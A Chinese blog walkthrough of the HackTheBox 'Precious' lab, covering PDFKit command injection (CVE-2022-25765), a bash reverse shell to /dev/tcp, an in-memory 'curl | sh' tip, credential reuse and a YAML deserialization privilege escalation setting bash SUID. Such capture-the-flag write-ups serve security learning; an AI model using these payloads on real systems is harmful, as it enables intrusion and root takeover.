首页 > 其他分享 >hackthebox precious easy

hackthebox precious easy

时间:2023-06-30 11:15:16浏览次数:30  
标签:bin shell 查看 hackthebox easy precious ruby bash 进行

常规进行信息收集以及开放端口

访问80进行探测

主页有一个html2pdf的功能

探测一下正常业务看看是否存命令执行等

正常业务下载好文件后,利用exiftools查看该pdf的信息发现发现power by pdfkit v8.6.0

存在CVE-2022-25765

PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...

#{} 是提醒reader 里面是要填写的信息

发现返回存在漏洞执行后,可以利用bash -c '/bin/bash -i >& /dev/tcp/kaliip/1234 0>&1 ' 或者python或其他已经安装好的函数进行反弹shell

获得反弹shell之后再利用特定的sudo -l 查看计划任务 以及linpeas.sh进行 tips:curl xx | sh 可以直接进行 内存执行不留下文件

然后可以发现/home/ruby这个用户的家目录有一个环境变量是多出来的叫.bundle/config 查看发现另一个用户的账号密码

通过ssh进行访问 进入到henry用户的shell中

sudo -l查看有一个/usr/bin/ruby 执行的rb文件

查看发现是用了yaml.load函数 可以造成反序列化 

漏洞利用

复制这段payload并通过ruby用户进行修改dependencies.yml文件

并进行sudo /usr/bin/ruby /opt/update_dependencies.rb 成功执行 我们鞋子啊git_set:这个参数的命令

因为是利用root权限进行执行 ,可以直接 chmod +x /bin/bash 进行设置 

再利用/bin/bash -p 提权到root权限

标签:bin,shell,查看,hackthebox,easy,precious,ruby,bash,进行
From: https://www.cnblogs.com/lisenMiller/p/17516076.html

相关文章

  • 设备通过GB28181接入EasyCVR,设备列表多出一层目录是什么原因?
    EasyCVR平台基于云边端协同架构,可支持多协议、多类型的海量设备接入与分发,平台既具备传统安防视频监控的能力,也能接入AI智能分析的能力,在线下均有大量应用。EasyCVR平台可提供的视频能力包括:视频监控直播、云端录像、云存储、录像检索与回看、智能告警、平台级联、云台控制、语音......
  • [oeasy]python0069_帮助手册_pydoc_manual_document
    帮助手册回忆上次内容 上次了解了注释注释是为了让程序更可读注释不会影响程序运行速度 注释分为两种单行的以#开头不能是字符串当中的# 多行的三个"三个'  多行注释还有什么特殊功能么?......
  • 在EasyCVR中调用快照接口返回404是什么原因?如何解决?
    EasyCVR视频融合平台基于云边端一体化架构,能在复杂的网络环境中将前端设备进行统一集中接入,实现视频资源的汇聚管理、直播鉴权、转码处理、多端分发、智能告警、数据共享等能力与服务。此外,平台也提供了丰富的API接口供用户自由调用、集成与二次开发。有用户反馈,在EasyCVR中调用......
  • AI智慧安监EasyCVR平台长时间运行出现协程高的现象是什么原因?
    EasyCVR视频融合平台基于云边端协同架构,具有强大的数据接入、处理及分发能力,平台支持海量视频汇聚管理,可支持多协议接入,包括市场主流标准协议与厂家私有协议及SDK,如:国标GB28181、RTMP、RTSP/Onvif、海康Ehome、海康SDK、大华SDK、宇视SDK等。有用户反馈,EasyCVR平台向上级联后,运......
  • 设备通过海康ehome接入到EasyCVR后,通道数量显示不全是什么原因?
    EasyCVR可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有GB28181、RTSP/Onvif、RTMP等,以及厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等,能对外分发RTSP、RTMP、FLV、HLS、WebRTC等格式的视频流。有用户反馈,现场设备通过海康ehome协议接入到EasyCVR中,虽然显......
  • 如何通过抓包分析EasyCVR级联时不回复上级平台的invite请求?
    EasyCVR平台基于云边端协同架构,可支持多协议、多类型的海量设备接入与分发,平台既具备传统安防视频监控的能力,也具备接入AI智能分析的能力,在线下均有大量应用。有用户反馈,在级联时,使用EasyCVR作为下级平台,将摄像头接入后再转推给上级平台,但是上级平台却无法播放,请求我们协助排查......
  • 如何通过抓包分析EasyCVR级联时不回复上级平台的invite请求?
    EasyCVR平台基于云边端协同架构,可支持多协议、多类型的海量设备接入与分发,平台既具备传统安防视频监控的能力,也具备接入AI智能分析的能力,在线下均有大量应用。有用户反馈,在级联时,使用EasyCVR作为下级平台,将摄像头接入后再转推给上级平台,但是上级平台却无法播放,请求我们协助排查。由......
  • EasyCVR级联后上级在线,请求播放显示端口不可达是什么原因?
    EasyCVR可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安防视频监控的能力,比如:视频监控直播、云端录像、云存储、录像检索与回看、智能告警、平台级......
  • Uniapp下GoEasy通知栏推送不工作问题排查记录
    我们是uniapp开发的app,项目中的系统消息推送使用的是GoEasyWebsocket实时推送,上线一段时间后,客户反馈说,当app没有在前台运行时也需要想办法通知用户一些重要的系统通知。那么此时通知栏推送就需要集成了。集成通知栏推送很麻烦,国内一些公司做了一些插件来帮我们打通app跟厂商之......
  • easyexcel 导入导出
    工具类-----------------------------------------------------publicclassExcelUtilextendsEasyExcelFactory{/***批量导入*@paraminputStream*@paramhead*@paramreadListener*/publicstaticvoidimportExcel(InputStreaminputS......